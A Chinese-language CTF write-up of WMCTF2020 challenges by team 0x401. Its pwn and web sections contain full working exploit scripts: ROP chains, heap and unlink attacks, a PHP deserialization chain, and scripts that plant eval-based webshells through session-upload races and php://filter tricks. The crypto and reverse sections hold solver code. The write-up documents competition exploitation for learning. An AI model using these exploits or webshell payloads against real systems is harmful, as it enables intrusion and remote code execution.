WMCTF2020 WP by 0x401
WMCTF is a Jeopardy-style Online Capture The Flag Competition presented by W&M. 以下是 0x401 Team 总结整理的 WP。
0x401战队招收各个方向的选手，欢迎投递简历至team401@126.com！
PWN
- mengyedekending
程序逻辑在so里面，是个.net，反编译一看洞很明显。但是需要覆盖的位置和大小都和反编译出来不太一样。估计是解释器后端内存布局和c有些不同。所以手动测测偏移，发现108偏移就是需要写的位置，写成那个变量的地址即可。
1from pwn import*
2cn=remote("111.73.46.229",51000)
3context.log_level='debug'
4cn.recvuntil("you : ")
5addr = int(cn.recvuntil("\n"),16)
6success(hex(addr))
7#payload="b"*50+chr(50)+'\x00'*3+'\xe0'+"\n"
8payload="b"*50+chr(108)+p32(addr)[0]+"\n"
9# payload="b"*50+'\n'
10cn.sendafter("you want me to repeat?",payload)
11cn.sendlineafter("Do you want to change your input?","Y")
12cn.sendlineafter("lease tell me a offset",'\x41')
13cn.interactive()
-cfgo-CheckIn
前面是个迷宫问题，写个广搜搜一搜就可以。最后输入有溢出，ida找字符串，找到关键逻辑位置，可以看到大概就是会覆盖一个地址可以用来泄露，同时可以覆盖返回地址低位。于是第一次覆盖的时候覆盖泄露地址为 go 语言 mmap 出来的一块区域（0xc000000000），可以泄露 程序基地址，同时返回地址最低位改成'\xce'重启该函数。
用这种方式第一次泄露基地址，第二次泄露libc，第三次get shell。可能因为网络原因要多跑几次。
1from pwn import *
2#cn=process("./pwn",shell=False)
3cn=remote("81.68.174.63",62176)
4
5class loc(object):
6 def __init__(self, x, y, pre, dir):
7 self.x = x
8 self.y = y
9 self.pre = pre
10 self.dir = dir
11
12black="\xe2\xac\x9b"
13write="\xe2\xac\x9c"
14face="\xf0\x9f\x98\x82"
15flag="\xf0\x9f\x9a\xa9"
16start_x=0
17start_y=0
18des_x=0
19des_y=0
20mapgs=[]
21length=6
22visited=[]
23
24def gen_maps(s):
25 global start_x
26 global start_y
27 global des_x
28 global des_y
29 global visited
30 global length
31 global mapgs
32 start_x = 0
33 start_y = 0
34 des_x = 0
35 des_y = 0
36 i=0
37 j=0
38 mapgs = [[0 for x in range(length)] for y in range(length)]
39 index=0
40 size=len(s)
41 visited = [[0 for x in range(length)] for y in range(length)]
42
43 while(i<length):
44 if (s[index]=='\xe2' and s[index+1]=='\xac' and s[index+2]=='\x9b'):
45 mapgs[i][j]=0
46 j=j+1
47 index=index+3
48 elif (s[index]=='\xe2' and s[index+1]=='\xac' and s[index+2]=='\x9c'):
49 mapgs[i][j]=1
50 j=j+1
51 index=index+3
52 elif (s[index]=='\xf0' and s[index+1]=='\x9f' and s[index+2]=='\x9a'and s[index+3]=='\xa9'):
53 mapgs[i][j]=3
54 des_x=i
55 des_y=j
56 j=j+1
57 index=index+4
58 elif (s[index]=='\n'):
59 index=index+1
60 j=0
61 i=i+1
62 else:
63 mapgs[i][j]=2
64 start_x=i
65 start_y=j
66 j=j+1
67 index=index+4
68
69a=[0,1,0,-1]
70b=[1,0,-1,0]
71path=['d','s','a','w']
72
73def bfs():
74 global mapgs
75 global length
76 tail = 0
77 queue = []
78
79 queue.append(loc(start_x,start_y,-1,'0'))
80 while(tail!=len(queue)):
81 current = queue[tail]
82 for i in range(4):
83 x_new = current.x+a[i]
84 y_new = current.y+b[i]
85 pre = tail
86 direction = path[i]
87 new_loc = loc(x_new,y_new,pre,direction)
88 if(x_new>=0 and x_new<length and y_new>=0 and y_new<length and mapgs[x_new][y_new]==1 and visited[x_new][y_new]==0):
89 visited[x_new][y_new]=1
90 queue.append(new_loc)
91
92 if(x_new>=0 and x_new<length and y_new>=0 and y_new<length and mapgs[x_new][y_new]==3 and visited[x_new][y_new]==0):
93 s=''
94 now = new_loc
95 while(True):
96 s = s+now.dir
97 now = queue[now.pre]
98 if(now.pre==-1):
99 return s[::-1]
100
101 tail=tail+1
102
103for i in range(100):
104 cn.recvuntil("reaching level")
105 cn.readline()
106 s=""
107 for i in range(length):
108 s=s+cn.readline()
109 print(i)
110 gen_maps(s)
111 payload=bfs()
112 cn.sendline(payload)
113 length=length+1
114
115
116
117context.log_level='debug'
118pause()
119#cn.sendlineafter(" your name:","b"*0x78+p64(0)+"b"*((0x110-0x80))+p64(0xdeedbeef))
120cn.sendlineafter(" your name:",p64(0xffffffffffffffff)*14+p64(0xc000000000)+p64(0x40)*19+'\xce')
121cn.recvuntil("Your name is : ")
122cn.recv(0x30)
123base=u64(cn.recv(8))-0x206ac0
124rdi_ret=base+0x109d3d
125ret_addr=base+0x72016
126free_got=base+0x1eeed8
127cn.sendlineafter(" your name:",p64(0xffffffffffffffff)*14+p64(free_got)+p64(0x40)*19+'\xce')
128cn.recvuntil("Your name is : ")
129free_addr=u64(cn.recv(8))
130sys_addr=free_addr -0x48440
131binsh=free_addr+0x119d5a
132# sys_addr=free_addr-0x48510
133# binsh=free_addr+0x11c54a
134success(hex(free_addr))
135#gdb.attach(cn,"b *"+hex(0x55555566D37A))
136cn.sendlineafter(" your name:",p64(0xffffffffffffffff)*14+p64(free_got)+p64(0x40)*19+p64(ret_addr)+p64(rdi_ret)+p64(binsh)+p64(sys_addr))
137cn.interactive()
-roshambo
程序大致逻辑就是服务器模式会hash时间然后用hash值创管道。客户机模式可以用这个hash值连上服务器和服务器通信。漏洞同时在客户机模式和服务机模式的最后。
这里有洞。在有tachebin情况下，malloc(0)会返回0x20的chunk（不确定在2.23情况会怎么样）。于是后面就可以直接堆溢出。
虽然客户机模式的代码也有这个洞，但是客户机模式是子线程，走的不是 main_arena，所以就不用客户机模式来打，打服务器模式的主线程就可以了。
于是在逆向交互逻辑之后，这题就变成了一个堆溢出的题了，大致关键就是把前面已经释放的堆的 size 给改掉，然后后面重新 malloc 再 free 堆就乱了。排布一下堆可以造libc地址和泄露heap地址，最后 tcachebin attack 打free_hook改成puts函数地址（因为开了沙箱，不能直接改system，这里改成puts目的是为了改成一个无害的函数，防止后面free的时候crash），同时另一个堆先在tcahce的 metadata堆占个坑。后面就可以改metadata堆泄露libc，然后泄露栈地址，最后rop。网络原因，可能要多跑几次。
1from pwn import *
2context.log_level='debug'
3
4def packet(head,type,length,data):
5 s=head
6 s=s+p64(type)
7 s=s+p64(length)
8 s=s+data
9 return s
10
11def create(size,data):
12 sleep(2)
13 cn1.sendlineafter(">>", packet("[RPg]".ljust(8, '\x00'), 4, 0x20, "a" * 0x20))
14 cn1.sendlineafter(">>", packet("[RPg]".ljust(8, '\x00'), 8, 0x20, "a" * 0x20))
15 cn1.sendlineafter("size:", str(size))
16 cn1.sendafter(" do you want to say?", data)
17
18# cn1=process("./roshambo",shell=False)
19# cn2=process("./roshambo",shell=False)
20cn1=remote("81.68.174.63",64681)
21cn2=remote("81.68.174.63",64681)
22
23cn1.sendlineafter("Your Mode: ","C")
24cn1.sendlineafter("Authorization:","20")
25cn1.recvuntil("Your room: ")
26room=cn1.recv(32)
27cn1.sendlineafter("Your Name:","host")
28
29
30cn2.sendlineafter("Your Mode: ","L")
31cn2.sendlineafter("Your room:",room)
32cn2.sendlineafter("our Name:","guest")
33
34create(0,"ok")
35create(0x30,"ok")
36create(0x40,"ok")
37create(0x50,"ok")
38create(0x60,"ok")
39create(0,"a"*0x10+p64(0)+p64(0x751+0x60+0x70))
40
41
42cn1.sendlineafter(">>", packet("[RPg]".ljust(8, '\x00'), 4, 0x20, "a" * 0x800))
43cn1.sendlineafter(">>", packet("[RPg]".ljust(8, '\x00'), 8, 0x20, "a" * (0x700-0x68)+p64(0)+p64(0x21)+"a"*0x10+p64(0)+p64(0x21)))
44cn1.sendlineafter("size:", str(0x30))
45cn1.sendafter(" do you want to say?", "ok")
46sleep(2)
47
48cn1.sendlineafter(">>", packet("[RPg]".ljust(8, '\x00'), 4, 0x20, "a" * 0x800))
49cn1.sendlineafter(">>", packet("[RPg]".ljust(8, '\x00'), 8, 0x20, "a" * (0x700-0x68)+p64(0)+p64(0x21)+"a"*0x10+p64(0)+p64(0x21)))
50cn1.sendlineafter("size:", str(0x0))
51cn1.sendafter(" do you want to say?", "a"*0x20)
52sleep(2)
53cn1.recvuntil("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
54libc_addr=u64(cn1.recv(6)+"\x00"*2)-0x3ec190
55enrivon=libc_addr+0x3ee098
56free_hook=libc_addr+0x3ed8e8
57puts_addr=libc_addr+0x809c0
58rsp_ret=libc_addr+0x3960
59read_addr=libc_addr+0x110070
60rdx_rsi_ret=libc_addr+0x1306d9
61rdi_ret=libc_addr+0x2155f
62open_addr=libc_addr+0x10fc40
63puts_addr=libc_addr+0x809c0
64
65
66create(0,"a"*0x50+p64(0)+p64(0x61)+p64(free_hook-0x20))
67create(0x40,"a")
68create(0,"a"*0x60)
69cn1.recvuntil("a"*0x60)
70heap_addr=u64(cn1.recv(6)+"\x00"*2)-0x430
71create(0,"a"*0x100+p64(0)+p64(0x121)+p64(heap_addr+0x50))
72create(0x60,"a")
73create(0x40,'\x00'*0x20+p64(puts_addr))
74create(0x60,p64(enrivon-1)+p64(heap_addr+0x10)+p64(heap_addr+0x50)*8)
75
76create(0x10,"a")
77cn1.recvuntil('leave: a')
78stack_addr=u64(cn1.recv(6)+"\x00"*2)
79rop_addr=stack_addr-0x100
80success(hex(stack_addr))
81success(hex(heap_addr))
82success(hex(libc_addr))
83create(0x50,p64(rop_addr)*9)
84#gdb.attach(cn1,"b *"+hex(0x5555555569E0))
85create(0x50,p64(rdi_ret)+p64(0)+p64(rdx_rsi_ret)+p64(0x1000)+p64(heap_addr+0x2000)+p64(read_addr)+p64(rsp_ret)+p64(heap_addr+0x2000))
86gadget=p64(rdi_ret)+p64(0)+p64(rdx_rsi_ret)+p64(0x1000)+p64(heap_addr+0x2300)+p64(read_addr)
87gadget+=p64(rdi_ret)+p64(heap_addr+0x2300)+p64(rdx_rsi_ret)+p64(0)*2+p64(open_addr)
88gadget+=p64(rdi_ret)+p64(5)+p64(rdx_rsi_ret)+p64(0x100)+p64(heap_addr+0x2500)+p64(read_addr)
89gadget+=p64(rdi_ret)+p64(heap_addr+0x2500)+p64(puts_addr)
90pause()
91cn1.sendline(gadget)
92pause()
93cn1.sendline("flag\x00")
94cn1.interactive()
-babymac
程序逻辑就是可以溢出0x10字节一次。之前也不熟悉mac，google搜了下找了些资料。
参考资料链接：https://blog.shpik.kr/2019/OSX_Heap_Exploitation/
mac tinybin 在free后会在前两个内存放 pre 指针和 next 指针，存的方式是 addr>>4,之后高4 bit会存一个checksum用来验证。貌似tinybin唯一验证就是只检查这个checksum,然后 checksum 只有4bit, 所以完全可以爆破。
程序的16bit溢出刚好就可以改下一个被释放的堆的 pre 和 next 指针。unlink时候只会执行 next->pre = ptr->pre,于是按照上面的说法，第一个空间改成 value，第二空间改成target addr>>4(高4位随便一个值，反正要爆破），就可以通过unlink将 heap_list 的一个地址给改成got表地址。
但是实际测试的时候发现mac的堆分配很随机，每次分配用的region都是随机的。但是问题不大，只要分配和释放的堆足够多，总有一次触发unlink，并且通过1/16的爆破。
所以大概就是unlink把15号堆地址改成atoi_got。提前在15号堆里面写好一个字符串，每次重新malloc的时候就检查这个字符串有无变化，如果变了的话就说明unlink成功，15号堆地址被改成atoi_got了。后面就可以把atoi_got改成system地址拿flag了。
1from pwn import *
2
3
4
5def add(size):
6 cn.sendlineafter("Q] Exi",'A')
7 cn.sendlineafter("ize?",str(size))
8
9def erase(id):
10 cn.sendlineafter("Q] Exi",'D')
11 cn.sendlineafter("idx? ",str(id))
12
13def show(id):
14 cn.sendlineafter("Q] Exi",'S')
15 cn.sendlineafter("idx? ",str(id))
16
17def overflow(id,data):
18 cn.sendlineafter("Q] Exi",'M')
19 cn.sendlineafter("idx? ",str(id))
20 cn.sendafter("ontent?",data)
21
22def edit(id,data):
23 cn.sendlineafter("Q] Exi",'E')
24 cn.sendlineafter("idx? ",str(id))
25 cn.sendafter("ontent?",data)
26
27def transform(addr):
28 return addr>>4
29
30
31while True:
32 try:
33 flag=0
34 cn=remote("43.226.148.54",20000)
35 cn.sendafter("Say something?","WMCTF\x00")
36 cn.recvuntil("gift:")
37 main_addr=int(cn.recv(11),16)
38 base=main_addr-0x1510
39 success(hex(base))
40 strange = 3
41
42 for i in range(16):
43 add(0x40)
44
45 for i in range(15):
46 if(i!=strange):
47 erase(i)
48
49 edit(15,"Empty!")
50 overflow(strange,"a"*0x40+p64(base+0x3010)+p64(transform(base+0x3080+0xf0)))
51 success(hex(transform(base+0x3080+0xf0)))
52 for i in range(12):
53 success(i)
54 add(0x40)
55 show(15)
56 s = cn.readline()
57 if "Empty!" not in s:
58 success("WIN")
59 context.log_level = 'debug'
60 show(15)
61 sys_addr=u64(cn.recv(6)+"\x00"*2)+0x1ddcc
62 success(hex(sys_addr))
63 edit(15,p64(sys_addr)*4)
64 cn.sendlineafter("Q] Exi", 'A')
65 cn.sendlineafter("ize?", "/readflag\x00")
66 cn.interactive()
67
68 flag=1
69 break
70
71 if(flag==1):
72 break
73
74 except:
75 continue
Web
- webweb
__destruct -> __call
$this->db->quotekey($key)这里进行RCE
1<?php
2namespace DB\SQL{
3class Mapper
4{
5 public $props;
6 public function __construct()
7 {
8 $this->db = $this;
9 $this->adhoc=['/etc/flagzaizheli'=>["expr"=>"qianwen"]];
10 $this->props = ['quotekey' => "readfile"];
11 }
12}
13}
14
15namespace cli{
16use DB\SQL\Mapper;
17class Agent
18{
19 public function __construct()
20 {
21 $this->server = $this;
22 $this->events = ["disconnect"=>[new Mapper(),'find']];
23 }
24}
25class WS{
26 public function __construct()
27 {
28 $this->qianwen = new Agent();
29 }
30}
31echo urlencode(serialize(new WS()));
32}
33
- web_checkin
经过一堆测试，发现flag居然就在/flag,一读就有
- Make PHP Great Again
猜测是通过PHP_SESSION_UPLOAD_PROGRESS可控进行的。参考连接：https://zhuanlan.zhihu.com/p/139229792给出了exp,但是测试发现cookies并没有存放在exp给的路径(因为没包含到会500，包含到了是200)，于是一番探寻，发现cookies存在/tmp/下面
首先写个shell。
1import io
2import sys
3import requests
4import threading
5
6sessid = 'Dftm'
7
8proxies={"http":"http://127.0.0.1:8081"}
9proxies=None
10def POST(session):
11 while True:
12 f = io.BytesIO(b'a' * 1024 * 500)
13 session.post(
14 'http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/index.php',
15 data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php echo 'fuckyou';file_put_contents('/tmp/sess_hackapu',base64_decode('PD9waHAgZXZhbCgkX0dFVFsnYSddKTs/Pg=='));?>"},
16 files={"file":('q.txt', f)},
17 cookies={'PHPSESSID':sessid},proxies=proxies
18 )
19 print('Post Done')
20
21def READ(session):
22 while True:
23 response = session.get(f'http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/index.php?file=../../../../../../../../tmp/sess_{sessid}',proxies=proxies)
24 # print('[+++]retry')
25 # print(response.text)
26
27 if 'fuckyou' not in response.text:
28 print('[+++]retry')
29 else:
30 print(response.text)
31 sys.exit(0)
32
33with requests.session() as session:
34 t1 = threading.Thread(target=POST, args=(session, ))
35 t1.daemon = True
36 t1.start()
37
38 READ(session)
接着再连接shell在/var/www/html/flag.php找到flag
- web_checkin2
和 web_checkin1 不同这次flag不在/flag了，于是需要真的把shell写进去然后包含，本想要string.strip_tags结果由于php7.0的缺陷，会导致segmentation_fault，导致写入失败。想来想去还是得利用php filter的特性来搞。对stream_get_filters的结果翻了又翻，发现还有个用于压缩和解压的zlib流，但是zlib压缩解压对数据都是一样的效果，所以还需要搞点事情，让前面的“死亡exit”被破坏掉。我们经过测试发现string.tolower可以让数据部分破坏，但是我们可以精心fuzz出一个结果，让我们的shell即使经过这个过程也依旧能够执行。
最后我们写shell的payload如下
1php://filter/write=zlib.deflate|string.tolower|zlib.inflate/resource=<?PHP eval( $_GET[a ] )?>
这个payload会生成一个叫做的shell，但是里面的a被弄成了c。于是首先写入shell(写wp时发现国内外的题目服务器都500了，拿自己的来）
然后包含这个shell,get参数c里面填入想执行的代码(末尾加上exit();防止shell被写入)即可RCE，最后flag在根目录里一个奇形怪状的文件里面
Crypto
- piece_of_cake
这题用了个投机的做法，绕开了出题人精心设置的难题。本来审计代码发现，应该是要通过 make_cake 函数去求解未知参数e，但是在我实际对函数 make_cake 进行测试的时候发现，由于每次服务器会自动生成数据，而且没有对数据进行特别严格的检查，所以可以不断地请求数据，直到请求出一组特定的数据，使原问题一个较为简单的二维 NTRU 问题。在验证函数 eat_cake 中，也有类似的二维 NTRU 问题，因此可以直接不停的请求 eat_cake 的数据，直到一组能解的为止。（可以选择多线程池的请求以及自动化的数据筛选）
下图是原问题中二维NTRU的一个典型实现，其中f,g是私钥。通过多次的测试和规约，直到解出两个均为正数的f,g，并且轻松地求出cake，提交就能获得flag。二维NTRU的解法很简单，构造格[1,h][0,p]，使用高斯规约或者直接LLL/BKZ规约即可求解SVP。
至于正解，一直没时间想，比赛结束以后可以思考思考。
- babySum
120维的子集和问题，给了汉明距离k，其中k远小于维数的一半，密度也比较低，这种情况被称为低密度低重量不平衡背包。由于k较小，解集中大多数都是0，可以随机指定一些位置为0，使这些维不参与实际的运算，达到降维的目的。在这个题目中，随机删除的位置数是15，使用的格是
1import random
2import re
3import logging
4import multiprocessing as mp
5from functools import partial
6import time
7logging.basicConfig(level=logging.DEBUG)
8ZERO_FORCE = 15
9def check(sol, A, s):
10 return sum(x*a for x, a in zip(sol, A)) == s
11
12def solve(A, n, k, s, r, ID=None, BS=22):
13 N = ceil(sqrt(n))
14 rand = random.Random(x=ID)
15 indexes = set(range(n))
16 small_vec = None
17
18 while True:
19
20 kick_out = set(sample(range(n), r))
21 new_set = [A[i] for i in indexes - kick_out]
22
23 lattice = []
24 for i,a in enumerate(new_set):
25 lattice.append([1*(j==i) for j in range(n-r)] + [N*a] + [N])
26 lattice.append([0]*(n-r) + [N*s] + [k*N])
27 shuffle(lattice, random=rand.random)
28 m = matrix(ZZ, lattice)
29 m_BKZ = m.BKZ(block_size=BS)
30
31 print("BKZ finished")
32 row = m_BKZ[0]
33 for i in range(1):
34 if check(row, new_set, s) and row.norm()^2 < 300:
35 if small_vec == None:
36 small_vec = row
37 print(small_vec)
38 print(kick_out)
39 elif small_vec.norm() > row.norm():
40 small_vec = row
41 print(small_vec)
42 print(kick_out)
43 if row.norm()^2 == k:
44
45 print("yes!!!!!!!!!!!!!!!!!")
46 print(row)
47 print(kick_out)
48 return True
49
50
51task = [...,[...]]
52s = task[0]
53A = task[1]
54CPU_CORE_NUM = 4
55
56solve_n = partial(solve, A, 120, 20, s, ZERO_FORCE)
57pool = mp.Pool(CPU_CORE_NUM)
58reslist = pool.imap_unordered(solve_n, range(CPU_CORE_NUM))
59for res in reslist:
60 if res:
61 pool.terminate()
62 break
- Sum
和上面那题差不多，解法也基本一样，但是维数从120增加到了180。维度扩张以后，BKZ算法求解SVP问题的成功率大大下降，这就不是一般的计算机能计算的问题了。在这个问题中，我选择随机删除40个位置，降到140维，然后租用了一个80核的腾讯云服务器，开了80个进程同时跑，在运算了不知多少个小时以后（大概10h），它跑出了结果。用下图记录这一经典的时刻：
- Game
一个逐位爆破的题，主要考察分组密码的模式。在这里我们知道了初始IV，因此可以预测每一次加密中的IV值，然后secret是48个字节，只需要填充47,46,45….位，得到一个加密结果，然后再从0x00到0xff逐位爆破，并与第一次加密结果对比，如果相同则说明这一位猜测正确了。用这种方法可以慢慢地，每一位每一位地搞出所有的位。另外记录一下解题中遇到的bug，由于我在填充的时候一开始加了已爆出的secret位，导致每次都只能爆出相同的第一位，卡了好久才想明白为什么…另，这题似乎还是从实战中TLS改编而来。
1from hashlib import sha256
2from pwnlib.util.iters import mbruteforce
3from pwn import *
4import string
5from Crypto.Util.strxor import strxor
6rs = remote("81.68.174.63", 16442)
7secret = ""
8
9def proof_of_work(p):
10 p.recvuntil("XXXX+")
11 suffix = p.recvuntil(')').decode("utf8")[:-1]
12 log.success(suffix)
13 p.recvuntil("== ")
14 cipher = p.recvline().strip().decode("utf8")
15 proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
16 p.sendlineafter("Give me XXXX:", proof)
17proof_of_work(rs)
18rs.recvuntil("IV is: ")
19IV = rs.recvline().strip()
20log.success("IV is:" + IV)
21#rs.interactive()
22nextiv = IV
23for _ in range(48):
24 rs.recvuntil(">")
25 rs.sendline('1')
26 rs.recvuntil("Your message (in hex): ")
27 payload = "a".encode('hex')*(48-len(secret)//2-1)
28 rs.sendline(nextiv + payload)
29 recvd = rs.recvuntil("\n")[:-1]
30 nextiv = recvd[-32:]
31 tobefucked = recvd[96:128]
32 for i in range(256):
33 rs.recvuntil("> ")
34 rs.sendline('1')
35 rs.recvuntil("Your message (in hex): ")
36 rs.sendline(nextiv +payload +secret + hex(i)[2:].zfill(2))
37 recvd = rs.recvuntil("\n")[:-1]
38 nextiv = recvd[-32:]
39 if recvd[96:128] == tobefucked:
40 log.success("test success!")
41 secret += hex(i)[2:].zfill(2)
42 log.success(secret)
43 break
44rs.interactive()
Reverse
- esay_re
此题主要是perl写的一个程序，直接下断点单步跟。就可找到flag。
WMCTF{I_WAnt_dynam1c_F1ag}
- Wmware
首先有个坑，程序读取的是键盘index码，而不是ascii码。在0xb28的Call内读取键盘数据，接着把每个数据加上0x55，并按照列优先填充至一个6*6的数组。再跳转至0x6000，再按照行优先每4个一组解析成9个int类型，进行一系列运算，最后和0x5700的常量进行比较。
1import z3
2import numpy as np
3from functools import reduce
4
5s = '1234567890_+qwertyuiop{}asdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
6sign = '02030405060708090a0b0c0d101112131415161718191a1b1e1f202122232425262c2d2e2f303132404142434445464748494e4f505152535455565c5d5e5f606162'
7s2 = ['0x' + sign[2 * i:2 * i + 2] for i in range(len(s))]
8
9table = {}
10for i in zip(s, s2):
11 table[i[0]] = int(i[1], 16)
12
13
14def process(s):
15 return '0x' + ''.join(reversed([s[2 * i: 2 * i + 2] for i in range(4)]))
16
17
18result = 'd87455ecb5041a42116dba025f050581286ca0ed9904e06ae755a9189135d67164a83745'
19results = [process(result[8 * i: 8 * i + 8]) for i in range(9)]
20
21flag = [z3.BitVec('flag_%d' % i, 8) for i in range(36)]
22flag2 = np.array([i + 0x55 for i in flag]).reshape(6, 6)
23flag2 = flag2.T
24flag2 = flag2.reshape(-1)
25flag2 = [i for i in flag2]
26
27flag3 = [reduce(z3.Concat, reversed(flag2[i * 4:i * 4 + 4])) for i in range(9)]
28i = 0
29v39 = 0
30while True:
31 if i == 9:
32 i = 0
33 v39 += 1
34 if v39 == 129:
35 break
36 v41 = (i + 1) % 9
37 v44 = v39 % 3
38 if v44 == 0:
39 flag3[i] = ~((~ flag3[v41] | ~ flag3[i]) & (flag3[v41] | flag3[i]) & 0x24114514) & ~(
40 ~((~ flag3[v41] | ~ flag3[i]) & (flag3[v41] | flag3[i])) & 0xDBEEBAEB)
41 elif v44 == 1:
42 flag3[i] = ~(~(flag3[v41] & flag3[i]) & ~(~ flag3[v41] & ~ flag3[i])) & 0x1919810 | ~(
43 flag3[v41] & flag3[i]) & ~(~ flag3[v41] & ~ flag3[i]) & 0xFE6E67EF
44 else:
45 flag3[i] = (~(flag3[v41] & ~ flag3[i] | ~ flag3[v41] & flag3[i]) | 0xE6D9F7E8) & (
46 flag3[v41] & ~ flag3[i] | ~ flag3[v41] & flag3[i] | 0x19260817)
47 i = i + 1
48s = z3.Solver()
49for i in zip(flag3, results):
50 s.add(i[0] == int(i[1], 16))
51print(s.check())
52m = s.model()
53for i in flag:
54 t = m[i].as_long()
55 for item in table:
56 if t == table[item]:
57 print(item, end='')
- Music_game_2
程序的逻辑是，读入wav音频文件，提取MFCC特征，把MFCC特征输入网络，网络得到分类结果。所以这题的目的就是生成其他三个方向（左右下）的音频，这个音频需满足：1. 与原音频MFCC特征的平均绝对误差小于4。2.分类的可信度大于0.9。
首先使用：
1model = keras.models.load_model('model.h5')
2keras.utils.plot_model(model, 'model.png', show_shapes=True)
输出网络结构：
原网络就是一个简单的全连接网络，根据以上两个要求，在原基础搭建新的网络。
1base_model = keras.models.load_model('model.h5')
2
3inp = keras.Input(shape=(30, 20))
4x = keras.layers.Dense(20)(inp)
5x1 = keras.layers.Dense(20)(x)
6out1 = keras.layers.Subtract(name='output1')([x1, inp])
7out2 = base_model(x1)
8
9model = keras.Model(inputs=[inp], outputs=[out1, out2])
10model.layers[4].trainable = False
网络结构如下：
sequential层需冻结，所以可训练参数就是两个全连接层：2(2020+20)=840。
网络输入是原音频MFCC特征，经过两个全连接变换后的输出即是我们要拟合的其他方向的MFCC特征，接着把这个特征输入到两个输出层：左边的sequential即原网络满足条件2，loss使用交叉熵categorical_crossentropy、右边的substract，用拟合的MFCC-原音频MFCC，这个结果趋近0（也可以直接输出拟合的MFCC，最后使得结果趋近原音频MFCC即可）就满足条件1，loss使用均方误差mean_squared_error。
训练的时候，input就是example.wav的mfcc，output1是对应方向的one-hot表示、output2是shape = [?,30,20] 的全 0 tensor。
如，right方向训练：
1inputs = [np.array([mfcc for i in range(5000)])]
2outputs = [np.zeros(shape=(5000, 30, 20)), np.array([0, 0, 0, 1] * 5000).reshape(5000, 4)]
3model.fit(inputs, outputs, batch_size=50, epochs=50)
最后把mfcc特征转换成时域的音频信号得到各个方向的音频文件，再使用这些音频文件走到终点即可。
1mfcc1 = get_wav_mfcc('example.wav')
2
3model = keras.models.load_model('h5/down.h5')
4aa1, aa2 = model(mfcc1.reshape(1, 30, 20))
5aa1 = aa1.numpy()
6aa2 = aa2.numpy()
7
8print(np.mean(np.absolute(aa1)))
9print(aa2)
10omfcc = aa1.reshape(30, 20) + mfcc1
11x = librosa.feature.inverse.mfcc_to_audio(omfcc.T, sr=16000)
12sf.write('sound/down.wav', x, 16000, subtype='PCM_24'）
1import requests
2
3sess = requests.session()
4url = 'https://game2.wmctf1.wetolink.com:4430/'
5
6print(sess.get(url).text)
7while True:
8 direct = input('next:')
9 times = int(input('times:'))
10 path = 'sound/' + direct + '.wav'
11 for i in range(times):
12 print(sess.post(url, files={'upfile': open(path, 'rb')}).text)
13 print(sess.get(url).text)
FeedBack
问卷送分题，没啥好写。
- Signin
签到题
- XMAN_Happy_birthday!
看文件名就知道是反序列输出HEX
xxd -i命令输出C代码
然后编写python脚本进行反序列输出
1with open('out.c') as f:
2 t = f.read().replace('\n','').split(',')
3t.reverse()
4with open('out.zip','wb') as f:
5 for i in t:
6 f.write(bytes([int(i,16)]))
打开即可得到flag。
- Music_game
用标准的美式发音控制up,down,left,right，坦克走到终点弹出flag。
评论
发表评论